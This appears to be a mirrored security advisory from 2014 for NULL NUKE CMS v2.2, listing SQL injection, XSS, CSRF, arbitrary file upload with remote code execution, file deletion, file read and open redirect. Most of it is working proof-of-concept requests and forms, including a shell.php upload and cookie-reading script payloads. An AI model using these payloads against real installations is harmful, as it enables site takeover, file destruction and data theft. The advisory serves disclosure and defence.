Lucene search
K

NULL NUKE CMS v2.2 Multiple Vulnerabilities

🗓️ 28 Apr 2014 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 30 Views

NULL NUKE CMS v2.2 Multiple Vulnerabilities. Fast, powerful, cross-platform CMS for windows and Linux. Remote vulnerabilities: XSS, SQL Injection, File Upload, RCE, File Deletion, System Acces

Code
<html><body><p>NULL NUKE CMS v2.2 Multiple Vulnerabilities


Vendor: nullwanton
Product web page: http://sourceforge.net/projects/nullnuke/
Affected version: 2.2 and 2.1 rc3

Summary: NULL-8x3-NUKE is a fast, powerful and secure cross platform CMS
for windows and Linux using base or full drive paths.

Desc: NULL NUKE CMS suffers from multiple remote vulnerabilities including
Stored/Reflected XSS, SQL Injection, Arbitrary File Upload, RCE, Arbitrary
File Deletion, Arbitrary File Access using absolute path and/or traversal,
Open Redirection, Parameter Traversal, and Cross-Site Request Forgery.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5185
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5185.php


13.04.2014

---


-------------------------------------
[*] SQL Injection, CSRF (msgid param)
-------------------------------------

http://localhost/nullnuke/msgbox.php?nxt=readmsg&amp;view=1&amp;msgid=7%27


----------------------------------------
[*] Stored XSS, CSRF (faqcattitle param)
----------------------------------------

</p>
<form action="http://localhost/nullnuke22/admin.php?fct=faq&amp;nxt=FaqCatAdd" method="POST">
<input name="faqcattitle" type="hidden" value='"&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;'/>
<input type="submit" value="Execute!"/>
</form>



-----------------------------------------------------------------------------------------
[*] Arbitrary File Upload at arbitrary location, CSRF, RCE (fupload[1], uploadpath param)
-----------------------------------------------------------------------------------------

POST /nullnuke22/admin.php?fct=file_types&amp;nxt=fileSystem&amp;upload=here HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------117202350024276
Content-Length: 786

-----------------------------117202350024276
Content-Disposition: form-data; name="fupload[1]"; filename="shell.php"
Content-Type: application/octet-stream


-----------------------------117202350024276
Content-Disposition: form-data; name="uploadpath"

C:/xampp/htdocs/nullnuke22/
-----------------------------117202350024276
Content-Disposition: form-data; name="_numfeilds"

1
-----------------------------117202350024276
Content-Disposition: form-data; name="uploadform"

Upload
-----------------------------117202350024276
Content-Disposition: form-data; name="unpack_archive"

0
-----------------------------117202350024276
Content-Disposition: form-data; name="addfeild"

1
-----------------------------117202350024276--


--


<form action="http://localhost/nullnuke22/admin.php?fct=file_types&amp;nxt=fileSystem&amp;upload=here" enctype="multipart/form-data" method="POST">
<input name="fupload[1]" type="hidden" value=""/>
<input name="uploadpath" type="hidden" value="C:/xampp/htdocs/nullnuke22/"/>
<input name="_numfeilds" type="hidden" value="1"/>
<input name="uploadform" type="hidden" value="Upload"/>
<input name="unpack_archive" type="hidden" value="0"/>
<input name="addfeild" type="hidden" value="1"/>
<input type="submit" value="Execute!"/>
</form>



---------------------------------------------------
[*] Arbitrary File Deletion, CSRF (dfarray[] param)
---------------------------------------------------


<form action="http://localhost/nullnuke2/admin.php?fct=file_types&amp;nxt=fileSystem" method="POST">
<input name="delfile" type="hidden" value="Delete"/>
<input name="dfarray[]" type="hidden" value="C:/secret_secrets.txt"/>
<input type="submit" value="Execute!"/>
</form>



-------------------------------------------------------------------------------------------
[*] Arbitrary File Read using absolute path, CSRF (file param, value needs to be in base64)
-------------------------------------------------------------------------------------------

http://localhost/nullnuke22/admin.php?fct=file_types&amp;nxt=getfile&amp;path=&amp;file=QzpcdGVzdC50eHQ=

 - QzpcdGVzdC50eHQ= (C:\test.txt)


-------------------------------------------
[*] Open Redirect, CSRF (redirectlgn param)
-------------------------------------------


<form action="http://localhost/nullnuke22/login.php?nxt=chklogin" method="POST">
<input name="uname" type="hidden" value="admin"/>
<input name="pass" type="hidden" value="admin"/>
<input name="remlogin" type="hidden" value="0"/>
<input name="redirectlgn" type="hidden" value="http://www.zeroscience.mk"/>
<input name="stripit_form" type="hidden" value="uname|pass"/>
<input name="mpn_sectype" type="hidden" value="1"/>
<input type="submit" value="Execute!"/>
</form>



-----------------------------------------------------------------
[*] Reflected XSS, CSRF (upload param, Referer HTTP Header field)
-----------------------------------------------------------------

http://localhost/nullnuke22/admin.php?fct=file_types&amp;nxt=fileSystem&amp;upload=here1f454"&gt;<script>alert(1);</script>6747f198ae5

--

GET /nullnuke22/login.php?nxt=chklogin&amp;uname=admin&amp;pass=admin&amp;remlogin=0&amp;redirectlgn=http%3A%2F%2Flocalhost%2Fnullnuke22%2Fadmin.php%3Ffct%3Dfile_types%26nxt%3DfileSystem%26upload%3Dhere&amp;stripit_form=uname%7Cpass&amp;mpn_sectype=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.google.com/search?hl=en&amp;q=b55ec"&gt;<script>alert(document.cookie);</script>bb8d1b11bd9304d5f
Connection: keep-alive
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation